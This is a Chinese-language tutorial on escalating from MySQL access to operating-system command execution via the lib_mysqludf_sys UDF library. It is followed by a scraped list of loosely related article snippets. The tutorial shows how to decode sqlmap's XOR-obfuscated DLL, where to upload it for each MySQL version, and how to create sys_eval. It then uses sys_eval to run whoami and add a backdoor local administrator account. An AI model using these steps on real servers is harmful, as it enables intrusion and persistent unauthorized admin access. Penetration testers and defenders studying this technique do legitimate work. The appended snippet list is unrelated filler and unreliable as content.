UDF即User-Defined Functions

lib_mysqludf_sys 在github的介绍:

A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.

lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme

自动化注入工具Sqlmap已经集成了此功能。

在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用

首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval, 执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get, 获取一个环境变量。
sys_set,创建或修改一个环境变量。

目标机以windows为例,MySQL版本为5.6

攻击过程中,首先需要将lib_mysqludf_sys(目标为windows时,lib_mysqludf_sys.dll; linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

然后创建UDF。

lib_mysqludf_sys.dll的导出路径:

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

创建相应的函数:

create function sys_eval returns string soname 'udf.dll';

执行命令:

select sys_eval('whoami');

select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);

MySQL利用UDF执行命令相关推荐

  1. mysql udf 执行命令_mylab_sys_exec UDF调用mysql外部系统命令(For linux)

    有时候为了方便,利用event/trigger调用系统外部命令,可因为安全问题,mysql自身并没有提供相关命令,这里提供个调用系统命令的自定义函数mylab_sys_exec so文件下载:myla ...

  2. mysql sys exec_python - 使用MySQL UDF执行命令-sys_exec不起作用 - 堆栈内存溢出

    我正在尝试从MariaDB服务器运行python脚本. 我已经为此安装了mysqludf库. 我正在尝试使用sys_exec函数运行脚本,但是没有结果. 我已经创建了测试文件,它只是一个带有信息&qu ...

  3. MySQL篇之查询mysql的历史执行命令

    一.前言 有时,我们在mysql中运行一些命令,我们按键盘向上方向键会一一列出来. 如何查看命令历史呢,就像在linux下的shell中查看shell命令历史. 在Linux下,查询历史命令可采用hi ...

  4. php利用wsh突破函数禁用执行命令(安全模式同理)

    php利用wsh突破函数禁用执行命令(安全模式同理) 很多时候有些windows的服务器是支持wsh组建的,但是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你可以借鉴以下的方法尝试. p ...

  5. sa执行命令方法总结

    sa执行命令方法总结 转载请注明来源:BK瞬间群 测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动) 一.xp_cmdshell EXEC mast ...

  6. Linux 命令之 sudo -- 以其他用户身份来执行命令

    文章目录 命令介绍 原理 相关文件 通配符 和命令 su 的比较 常用选项 几个重要选项的解读 -k 选项 -s 选项 -i 选项 su.sudo su.sudo -i 的区别 查看日志文件 参考示例 ...

  7. mysql groupadd_Linux下groupadd命令无法添加用户和组的解决

    今天需要给一个linux服务器安装mysql,在安装mysql的时候,出现错误提示: [root@localhost softwaretools]# rpm -ivh MySQL-server-5.5 ...

  8. bt5 mysql root_MySQL_Linux利用UDF库实现Mysql提权,环境: os:linux(bt5)database - phpStudy...

    Linux利用UDF库实现Mysql提权 环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windo ...

  9. mysql 批量远程_【shell--批量远程MySQL,执行命令】-【工作总结】

    昨天下班前,老板给了一批LOG数据库IP地址,需要统计LOG表里Message字段top 10的结果,并输出到一个excel文件里. 抽查看了下,有两种格式的以当天日期结尾的表名.由于数量太多,时间紧 ...

最新文章

  1. 深度学习计算机视觉常见的29道面试题及解析
  2. 记录一次java.lang.OutOfMemoryError: PermGen space异常
  3. 开源的ResearchKit:苹果将如何颠覆未来医疗?
  4. matlab raw函数,用matlab处理Raw格式的图像文件的方法
  5. 9.2.1 Renaming Retrieved Columns
  6. Android中的Notification
  7. freecodecamp_freeCodeCamp的学术诚信政策
  8. 南昌大学c语言大作业,南昌大学计算机C语言答案2
  9. python运用maya_Mayapythonapi场景选择操作
  10. Vue el-input实现动态显示type为textarea的文字数量、剩余字数
  11. 回溯法 —— 判断子集和问题是否存在解
  12. Android TableLayout
  13. 大数(小于10000)N的阶乘准确值(效率)
  14. php酒店系统论文,PHP酒店网站管理系统毕业论文
  15. Bug软件缺陷管理制度
  16. 【Android开发-4】进入实践,最喜欢折腾的计算器
  17. 联友科技软件测试,联友科技
  18. 全志科技A40i国产开发板——性能参数综合测试
  19. AUTOCAD——JOIN合并命令
  20. 备份谷歌或其他浏览器插件

热门文章

  1. jQuery——parent(),parents(),offsetParent(),closets()方法
  2. 【已解决】Errors during downloading metadata for repository ‘appstream‘: - Status code: 404 for
  3. 【详解】某企业的培训关系模式 R(培训科目,培训师,学生,成绩,时间,教室), R的函数依赖集 F={培训科目→→培训师,(学生,培训科目)→成绩,(时间,教室)→培训科目,(时间,培训师)→
  4. 常用的排序算法的时间复杂度和空间复杂度 .
  5. JNI之C语言简单回顾
  6. python3 打印目录下所有模块_python3基础12详解模块和包(库)|构建|使用
  7. java 华为面试题_JAVA华为面试题
  8. mysql definer_mysql常见问题之视图权限控制--安全性为DEFINER
  9. 虚拟机上部署的项目 访问路径怎么写_桌面虚拟化即将流行开来——基于Hyper-V虚拟机的桌面虚拟化部署...
  10. 华三服务器怎么设置系统启动模式,H3C 开局设置